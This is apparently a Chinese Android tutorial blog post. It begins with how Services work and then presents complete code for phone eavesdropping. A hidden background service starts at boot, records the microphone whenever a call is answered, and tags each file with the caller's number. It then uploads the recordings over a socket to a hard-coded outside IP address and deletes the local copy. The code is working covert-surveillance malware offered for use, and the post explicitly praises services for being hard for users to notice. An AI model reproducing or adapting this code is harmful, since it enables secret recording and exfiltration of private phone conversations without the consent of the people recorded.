【0】Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。Service的建立如下:

第一步:继承Service

public classSMSServiceextends Service { }

第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:

<serviceandroid:name=".SMSService" />

服务不能自己运行,需要通过调用Context.startService()Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。

使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。

使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。

采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务但会导致多次调用onStart()方法采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。

【1】

要实现电话窃听,需要监听电话的状态,方法如下:

view plain
  1. /*取得电话服务*/
  2. TelephonyManagertelManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
  3. PhoneStateListenerlistener=newPhoneStateListener(){
  4. @OverridepublicvoidonCallStateChanged(intstate,StringincomingNumber){
  5. switch(state){
  6. caseTelephonyManager.CALL_STATE_IDLE:/*无任何状态时*/
  7. break;
  8. caseTelephonyManager.CALL_STATE_OFFHOOK:/*接起电话时*/
  9. break;
  10. caseTelephonyManager.CALL_STATE_RINGING:/*电话进来时*/
  11. break;
  12. default:
  13. break;
  14. }
  15. super.onCallStateChanged(state,incomingNumber);
  16. }
  17. };
  18. //监听电话的状态
  19. telManager.listen(listener,PhoneStateListener.LISTEN_CALL_STATE);

在清单文件AndroidManifest.xml中添加权限:

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

可以使用手机进行现场录音,实现步骤如下:

第一步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:

<uses-permissionandroid:name="android.permission.RECORD_AUDIO"/>

第二步:编写音频刻录代码:

view plain
  1. MediaRecorderrecorder=newMediaRecorder();
  2. recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
  3. recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
  4. recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
  5. recorder.setOutputFile("/mnt/sdcard/itcast.amr");
  6. recorder.prepare();//预期准备
  7. recorder.start();//开始刻录
  8. ...
  9. recorder.stop();//停止刻录
  10. recorder.reset();//重设
  11. recorder.release();//刻录完成一定要释放资源

【2】电话窃听时使用手机麦克风进行录音,然后把录下的音频文件上传至指定的服务器

代码示例:这里只显示客户端的代码

view plain
  1. publicclassPhoneListenServiceextendsService
  2. {
  3. privatestaticfinalStringTAG="PhoneListenService";
  4. @Override
  5. publicvoidonCreate()
  6. {
  7. TelephonyManagertelManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
  8. telManager.listen(newTelListener(),PhoneStateListener.LISTEN_CALL_STATE);
  9. Log.i(TAG,"servicecreated");
  10. super.onCreate();
  11. }
  12. privateclassTelListenerextendsPhoneStateListener
  13. {
  14. privateMediaRecorderrecorder;
  15. privateStringmobile;
  16. privateFileaudioFile;
  17. privatebooleanrecord;
  18. @Override
  19. publicvoidonCallStateChanged(intstate,StringincomingNumber)
  20. {
  21. try
  22. {
  23. switch(state)
  24. {
  25. /*无任何状态时*/
  26. caseTelephonyManager.CALL_STATE_IDLE:
  27. if(record)
  28. {
  29. recorder.stop();//停止刻录
  30. recorder.release();
  31. record=false;
  32. newThread(newUploadTask()).start();
  33. Log.i(TAG,"startuploadfile");
  34. }
  35. break;
  36. /*接起电话时*/
  37. caseTelephonyManager.CALL_STATE_OFFHOOK:
  38. Log.i(TAG,"OFFHOOK:"+mobile);
  39. recorder=newMediaRecorder();
  40. recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
  41. recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
  42. recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
  43. audioFile=newFile(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");
  44. recorder.setOutputFile(audioFile.getAbsolutePath());
  45. recorder.prepare();//预期准备
  46. recorder.start();//开始刻录
  47. record=true;
  48. break;
  49. /*电话进来时*/
  50. caseTelephonyManager.CALL_STATE_RINGING:
  51. Log.i(TAG,"incomingNumber:"+incomingNumber);
  52. mobile=incomingNumber;
  53. break;
  54. default:
  55. break;
  56. }
  57. }
  58. catch(Exceptione)
  59. {
  60. Log.e(TAG,e.toString());
  61. }
  62. super.onCallStateChanged(state,incomingNumber);
  63. }
  64. privatefinalclassUploadTaskimplementsRunnable
  65. {
  66. @Override
  67. publicvoidrun()
  68. {
  69. try
  70. {
  71. Socketsocket=newSocket("220.113.15.71",7878);
  72. OutputStreamoutStream=socket.getOutputStream();
  73. Stringhead="Content-Length="+audioFile.length()+";filename="+audioFile.getName()+";sourceid=/r/n";
  74. outStream.write(head.getBytes());
  75. PushbackInputStreaminStream=newPushbackInputStream(socket.getInputStream());
  76. Stringresponse=StreamTool.readLine(inStream);
  77. String[]items=response.split(";");
  78. Stringposition=items[1].substring(items[1].indexOf("=")+1);
  79. RandomAccessFilefileOutStream=newRandomAccessFile(audioFile,"r");
  80. fileOutStream.seek(Integer.valueOf(position));
  81. byte[]buffer=newbyte[1024];
  82. intlen=-1;
  83. while((len=fileOutStream.read(buffer))!=-1)
  84. {
  85. outStream.write(buffer,0,len);
  86. }
  87. fileOutStream.close();
  88. outStream.close();
  89. inStream.close();
  90. socket.close();
  91. audioFile.delete();
  92. }
  93. catch(Exceptione)
  94. {
  95. Log.e(TAG,e.toString());
  96. }
  97. }
  98. }
  99. }
  100. //清空缓存目录下的所有文件
  101. @Override
  102. publicvoidonDestroy()
  103. {
  104. File[]files=getCacheDir().listFiles();
  105. if(files!=null)
  106. {
  107. for(Filef:files)
  108. {
  109. f.delete();
  110. }
  111. }
  112. Log.i(TAG,"ServiceDestroy");
  113. super.onDestroy();
  114. }
  115. @Override
  116. publicIBinderonBind(Intentintent)
  117. {
  118. //TODOAuto-generatedmethodstub
  119. returnnull;
  120. }
  121. }

view plain
  1. publicclassBootBroadcastReceiverextendsBroadcastReceiver
  2. {
  3. @Override
  4. publicvoidonReceive(Contextcontext,Intentintent)
  5. {
  6. Intentservice=newIntent(context,PhoneListenService.class);
  7. context.startService(service);
  8. }
  9. }


view plain
  1. publicclassStreamTool
  2. {
  3. publicstaticvoidsave(Filefile,byte[]data)throwsException
  4. {
  5. FileOutputStreamoutStream=newFileOutputStream(file);
  6. outStream.write(data);
  7. outStream.close();
  8. }
  9. publicstaticStringreadLine(PushbackInputStreamin)throwsIOException
  10. {
  11. charbuf[]=newchar[128];
  12. introom=buf.length;
  13. intoffset=0;
  14. intc;
  15. loop:while(true){
  16. switch(c=in.read()){
  17. case-1:
  18. case'/n':
  19. breakloop;
  20. case'/r':
  21. intc2=in.read();
  22. if((c2!='/n')&&(c2!=-1))in.unread(c2);
  23. breakloop;
  24. default:
  25. if(--room<0){
  26. char[]lineBuffer=buf;
  27. buf=newchar[offset+128];
  28. room=buf.length-offset-1;
  29. System.arraycopy(lineBuffer,0,buf,0,offset);
  30. }
  31. buf[offset++]=(char)c;
  32. break;
  33. }
  34. }
  35. if((c==-1)&&(offset==0))returnnull;
  36. returnString.copyValueOf(buf,0,offset);
  37. }
  38. /**
  39. *读取流
  40. *@paraminStream
  41. *@return字节数组
  42. *@throwsException
  43. */
  44. publicstaticbyte[]readStream(InputStreaminStream)throwsException
  45. {
  46. ByteArrayOutputStreamoutSteam=newByteArrayOutputStream();
  47. byte[]buffer=newbyte[1024];
  48. intlen=-1;
  49. while((len=inStream.read(buffer))!=-1)
  50. {
  51. outSteam.write(buffer,0,len);
  52. }
  53. outSteam.close();
  54. inStream.close();
  55. returnoutSteam.toByteArray();
  56. }
  57. }

更多相关文章

  1. Android打印堆栈
  2. Android横向滚动屏幕特效分析
  3. 【边做项目边学Android】小白会遇到的问题--创建Android项目不自
  4. Android(安卓)SharedPreferences总结及优化
  5. android之listview使用方法(一)
  6. Android四大组件的工作过程
  7. Android监听通话正确操作方法介绍
  8. 从头到尾给你讲明白Android(安卓)View实现原理
  9. android充当server服务器

随机推荐

  1. 练习CURD常用操作,select查询与关联操作,
  2. 第11章 0223-命名空间2与数据库基础1,学习
  3. JavaScript初学习之事件、常用表单事件、
  4. 解构赋值与流程控制
  5. PHP数据库实操:无刷新分页和编辑删除功能
  6. SQL Server学习之路(一)
  7. golang 乘法口诀
  8. 基础命令9
  9. 端口连通测试tcp/udp即阿里云主机端口不
  10. 学习C语言第四天(循环语句练习题)